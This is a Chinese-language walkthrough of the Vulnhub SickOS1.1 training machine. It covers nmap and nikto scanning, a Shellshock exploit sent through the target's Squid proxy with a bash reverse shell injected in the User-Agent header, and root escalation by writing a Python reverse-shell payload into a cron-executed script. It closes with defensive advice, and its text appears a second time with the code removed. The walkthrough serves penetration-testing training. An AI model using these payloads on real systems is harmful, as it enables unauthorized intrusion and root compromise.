Vulnhub靶机实操笔记-SickOS1.1-解法二
字数 1048 2025-08-10 19:49:11

SickOS1.1靶机渗透测试实战教程(解法二)

一、环境准备

  1. 靶机下载链接:Vulnhub上的SickOS1.1
  2. 攻击机:Kali Linux或其他渗透测试发行版
  3. 网络配置:确保攻击机和靶机在同一网络段

二、信息收集阶段

1. 主机发现

使用Nmap进行主机存活判断:

sudo nmap -sn 192.168.32.0/24

2. 端口扫描

快速扫描开放端口(不低于10000的速度):

sudo nmap --min-rate 10000 -p- 192.168.32.137

3. 服务版本探测

对发现的端口进行TCP扫描:

sudo nmap -sT -sV -O -p22,3128,8080 192.168.32.137

UDP扫描:

sudo nmap -sU -p22,3128,8080 192.168.32.137

4. 漏洞扫描

使用Nmap的漏洞脚本扫描:

sudo nmap --script=vuln -p22,3128,8080 192.168.32.137

5. Web服务器扫描

使用Nikto进行Web服务器扫描:

sudo nikto -h 192.168.32.137 -useproxy http://192.168.32.137:3128

注意:这里使用了靶机的3128端口作为代理

三、漏洞利用(Shellshock)

1. CVE-2014-6271漏洞介绍

"破壳"漏洞存在于GNU Bash版本≤4.3的Linux系统中,当目标服务器开放与Bash交互的应用或服务时,可能获取与Bash运行用户相同权限的shell。

2. 漏洞利用步骤

  1. 首先在攻击机上设置监听:
sudo nc -lvvp 1234
  1. 使用curl通过代理发送恶意请求:
sudo curl -v --proxy http://192.168.32.137:3128 http://192.168.32.137/cgi-bin/status \
-H "User-Agent:bin/bash -i >& /dev/tcp/192.168.32.131/1234 0>&1;" -v

关键点

  • 必须使用绝对路径/bin/bash
  • User-Agent头中注入恶意命令
  • 通过靶机的3128端口代理发送请求

四、权限提升

1. 初步信息收集

查看已安装软件:

dpkg -l

转换为稳定交互shell:

python -c "import pty;pty.spawn('/bin/bash')"

2. 定时任务提权

  1. 检查系统定时任务:
cat /etc/crontab
cat /etc/cron.d/*
  1. 发现/etc/cron.d/automate文件中有一个每分钟以root权限执行的Python脚本:
cat /etc/cron.d/automate
  1. 检查脚本权限:
ls -lai /var/www/connect.py
  1. 发现connect.py有写权限,可以修改该文件

3. 制作反弹shell

使用Python反向shell payload(来自PayloadsAllTheThings):

import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.32.131",4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

4. 实施提权

  1. 在攻击机上设置新的监听:
sudo nc -lvvp 4242
  1. 修改connect.py文件:
cd /var/www
# 使用vi或其他编辑器修改connect.py文件,插入上述Python反向shell代码
  1. 等待定时任务执行(最多1分钟),即可获得root权限的shell

五、关键总结

  1. 信息收集:全面的端口扫描和服务识别是成功的基础
  2. 漏洞利用:Shellshock漏洞利用需要精确的请求构造
  3. 权限提升:定时任务是常见的提权途径,需要仔细检查
  4. 代理使用:通过靶机自身的代理服务发送攻击请求是此解法的关键

六、防御建议

  1. 及时更新Bash版本,修复Shellshock漏洞
  2. 限制cron任务脚本的写入权限
  3. 监控系统日志中的异常行为
  4. 限制代理服务的访问权限

通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试过程。这个案例展示了如何利用Web应用漏洞和系统配置不当进行权限提升的典型过程。

SickOS1.1靶机渗透测试实战教程(解法二) 一、环境准备 靶机下载链接:Vulnhub上的SickOS1.1 攻击机:Kali Linux或其他渗透测试发行版 网络配置:确保攻击机和靶机在同一网络段 二、信息收集阶段 1. 主机发现 使用Nmap进行主机存活判断: 2. 端口扫描 快速扫描开放端口(不低于10000的速度): 3. 服务版本探测 对发现的端口进行TCP扫描: UDP扫描: 4. 漏洞扫描 使用Nmap的漏洞脚本扫描: 5. Web服务器扫描 使用Nikto进行Web服务器扫描: 注意 :这里使用了靶机的3128端口作为代理 三、漏洞利用(Shellshock) 1. CVE-2014-6271漏洞介绍 "破壳"漏洞存在于GNU Bash版本≤4.3的Linux系统中,当目标服务器开放与Bash交互的应用或服务时,可能获取与Bash运行用户相同权限的shell。 2. 漏洞利用步骤 首先在攻击机上设置监听: 使用curl通过代理发送恶意请求: 关键点 : 必须使用绝对路径/bin/bash User-Agent头中注入恶意命令 通过靶机的3128端口代理发送请求 四、权限提升 1. 初步信息收集 查看已安装软件: 转换为稳定交互shell: 2. 定时任务提权 检查系统定时任务: 发现 /etc/cron.d/automate 文件中有一个每分钟以root权限执行的Python脚本: 检查脚本权限: 发现 connect.py 有写权限,可以修改该文件 3. 制作反弹shell 使用Python反向shell payload(来自PayloadsAllTheThings): 4. 实施提权 在攻击机上设置新的监听: 修改 connect.py 文件: 等待定时任务执行(最多1分钟),即可获得root权限的shell 五、关键总结 信息收集 :全面的端口扫描和服务识别是成功的基础 漏洞利用 :Shellshock漏洞利用需要精确的请求构造 权限提升 :定时任务是常见的提权途径,需要仔细检查 代理使用 :通过靶机自身的代理服务发送攻击请求是此解法的关键 六、防御建议 及时更新Bash版本,修复Shellshock漏洞 限制cron任务脚本的写入权限 监控系统日志中的异常行为 限制代理服务的访问权限 通过以上步骤,我们完成了从信息收集到获取root权限的完整渗透测试过程。这个案例展示了如何利用Web应用漏洞和系统配置不当进行权限提升的典型过程。